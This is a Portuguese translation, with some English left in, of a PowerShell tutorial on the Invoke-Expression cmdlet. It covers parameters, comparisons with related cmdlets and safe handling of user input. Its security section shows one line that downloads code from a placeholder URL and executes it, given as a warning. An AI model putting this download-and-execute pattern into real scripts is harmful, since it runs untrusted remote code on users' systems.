Invoke-Expression: Prós, Contras e Melhores Práticas

O cmdlet Invoke-Expression do PowerShell pode ser fácil de entender quando e quando não usá-lo. Neste artigo, eu compilei uma série de perguntas frequentes principais. Vou analisá-las e incluir toneladas de exemplos úteis para você consultar sempre que precisar. Isso significa que você deve marcar esta página agora mesmo!

Quer mais dicas como esta? Confira meu blog pessoal de PowerShell em: https://www.nkasco.com/

O que é o Invoke-Expression?

A descrição oficial, segundo a Microsoft é: “O cmdlet Invoke-Expression avalia ou executa uma string especificada como um comando e retorna os resultados da expressão ou comando. Sem o Invoke-Expression, uma string enviada na linha de comando seria retornada (ecoada) inalterada.”

Em outras palavras, pode ser útil para chamar código dentro de um script ou construir comandos a serem executados posteriormente. Também pode ser usado com cautela em combinação com entrada fornecida pelo usuário.

O exemplo mais básico de uso do Invoke-Expression é definir um script e passar essa string para o parâmetro Command. O Invoke-Expression então executa essa string.

#Executar um comando PowerShell via Invoke-Expression
$Command = 'Get-Process'
Invoke-Expression -Command $Command

#Executar um script via Invoke-Expression
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript

E se eu tiver espaços no caminho do meu script?

Assegure-se de colocar strings entre aspas simples ou duplas.

Por exemplo, se você deseja executar uma string com um espaço no caminho, estas opções não funcionarão:

# Estas não funcionam
$MyScript = "C:\Folder Path\MyScript.ps1"
#ou
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript

Por quê? Porque isso é exatamente a mesma coisa que digitar diretamente no console do PowerShell:

PS51> C:\Folder Path\MyScript.ps1

No entanto, se você incluir o item do caminho entre aspas simples ou duplas com toda a string entre aspas, Invoke-Expression executará o script como esperado.

$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript

Q. How do you pass parameters to scripts invoked with Invoke-Expression?

O único parâmetro que Invoke-Expression tem é Command. Não há uma maneira nativa de passar parâmetros com Invoke-Expression. No entanto, em vez disso, você pode incluí-los na string que passa para o parâmetro Command.

Talvez eu tenha um script com dois parâmetros chamados Path e Force. Em vez de usar um parâmetro específico via Invoke-Expression, você pode passar parâmetros para esse script passando-os como normalmente faria via console.

Se você normalmente chamaria esse script assim via console:

PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force

Você tem que incluir essa linha inteira em uma string e depois passar essa string para o parâmetro Command.

$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# ou
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string

O uso de try/catch faz sentido com Invoke-Expression?

Não realmente. Isso significa que você precisa usar tratamento de erro dentro do seu parâmetro Command.

Exemplo:

# Não funciona - Invoke-Expression não age como um tratador de erro global!
try{
    $Command = 'Get-Process powerhell'
    Invoke-Expression $Command -ErrorAction Stop
} catch {
    Write-Host "Oops, something went wrong!"
}

Qual é a diferença entre Invoke-Expression e o operador de chamada (&)?

O operador de chamada (&) é ótimo para executar rapidamente um comando, script ou bloco de script. No entanto, o operador de chamada não analisa o comando. Ele não pode interpretar parâmetros de comando como Invoke-Expression pode.

Por exemplo, talvez eu queira obter o processo do PowerShell Core usando o cmdlet Get-Process usando o código Get-Process -ProcessName pwsh. Concatenar Get-Process e o parâmetro não funcionará como esperado usando o operador de chamada.

$a = "Get-Process"

## Não funciona
& "$a pwsh"

Mas se você executar essa string com Invoke-Expression, funcionará como esperado.

Invoke-Expression "$a pwsh"

Qual é a diferença entre Invoke-Expression e Start-Process?

O cmdlet Start-Process fornece um código de retorno ou saída no objeto retornado. Isso permite que você aguarde a conclusão do processo chamado e permite que você inicie um processo com uma credencial diferente do Windows. Invoke-Expression é rápido e simples, enquanto Start-Process pode ser mais útil para interpretar resultados do processo executado.

Qual é a diferença entre Invoke-Expression e Invoke-Command?

Invoke-Expression apenas “converte” uma string em código executável. Invoke-Command, por outro lado, aproveita o PowerShell Remoting dando-lhe a capacidade de invocar código localmente ou remotamente em computadores.

Invoke-Command é preferível se você estiver escrevendo os comandos executados agora, pois mantém o intellisense em seu IDE, enquanto Invoke-Expression seria preferível se você quisesse chamar outro script de dentro do seu atual.

Exemplo:

#Ambos funcionam da mesma maneira, mas perdemos nosso intellisense com o exemplo do Invoke-Expression.
Invoke-Command -ScriptBlock {
    Get-Process Chrome
    Get-Process Powershell
}

Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"

Qual é a diferença entre Invoke-Expression e Invoke-Item?

O cmdlet Invoke-Item fornece suporte inline para vários caminhos para abrir documentos com sua ação padrão, com parâmetros para incluir, excluir, adicionar credenciais e até mesmo confirmação para segurança adicional.

O Invoke-Expression é seguro?

A. If someone had malicious intent they might be able to trick some virus programs by masking malicious code that constructs itself during runtime. Invoke-Expression will happily execute whatever text is passed to it’s Command parameter.

Exemplo:

$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command

Quais são algumas melhores práticas para executar vários comandos/expressões?

Se você tiver vários comandos para executar, mesmo que Invoke-Expression aceite apenas uma string em vez de um array, podemos usar o pipeline do PowerShell para enviar objetos pelo pipeline um de cada vez.

Exemplo:

# Não funciona
$MyCollection = @(
    'Get-Process Chrome',
    'Get-Service bits'
)
Invoke-Expression $MyCollection

# Funciona
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression

Como faço para usar Invoke-Expression com entrada de usuário?

Deve-se ter muito cuidado ao usar Invoke-Expression com entrada de usuário. Se permitir um prompt ao usuário de uma maneira que lhes dê acesso fora do comando que pretende executar, pode criar uma vulnerabilidade indesejada. Aqui está uma maneira segura de implementar a entrada do usuário com Invoke-Expression.

do{
    $Response = Read-Host "Please enter a process name"
    $RunningProcesses = Get-Process

    # Valide a entrada do usuário aqui antes de prosseguir
    if($Response -notin $RunningProcesses.Name){
        Write-Host "That process wasn't found, please try again.`n" # Evite usar $Response aqui
    }
} until ($Response -in $RunningProcesses.Name)

$Command = "Get-Process $Response"
Invoke-Expression $Command

Conclusão

Cada cmdlet tem seu lugar e Invoke-Expression é um que quase todos encontrarão em algum momento. É importante entender os prós e contras dos cmdlets frequentemente usados para implementá-los de maneira que garanta o sucesso. Estou curioso para saber como você usou Invoke-Expression para resolver alguns dos seus próprios desafios, deixe um comentário abaixo e compartilhe sua história!

Quer mais dicas como esta? Confira meu blog pessoal de PowerShell em: https://www.nkasco.com/

Leitura Adicional

Source:
https://adamtheautomator.com/invoke-expression/